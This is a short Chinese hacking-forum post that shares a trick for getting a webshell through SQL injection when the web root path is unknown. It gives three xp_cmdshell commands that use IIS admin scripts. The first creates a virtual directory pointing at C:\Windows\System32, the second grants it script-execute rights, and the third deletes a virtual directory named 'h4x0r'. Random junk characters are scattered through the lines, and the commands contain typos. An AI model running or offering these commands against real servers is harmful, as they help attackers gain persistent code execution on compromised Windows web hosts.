|

- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:
7 f" u- U; E6 o
) s7 S+ M* \5 R4 Z& }2 F. ]5 Pexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'1 g# l9 Z1 @4 u' |! q
建立虚拟目录win,指向c:\windows\system32
5 U2 w* p) Y7 s* L+ Z5 I2 x* zexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
# R" C# i5 H) ^让win句有解析asp脚本权限& o. g" r, Q% {3 L
" \ f1 v5 @- g( {exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
& v( {# Q8 @9 Q2 R- e. p* V删除虚拟目录。6 L: B6 L2 {! i) j% A3 w
找不到web绝对路径的一种解决办法,
& n% ?2 z, c/ u) | g' y3 U2 Q& Z
403错误,表示虚拟目录建好了。。 |
-
1
评分人数
-
|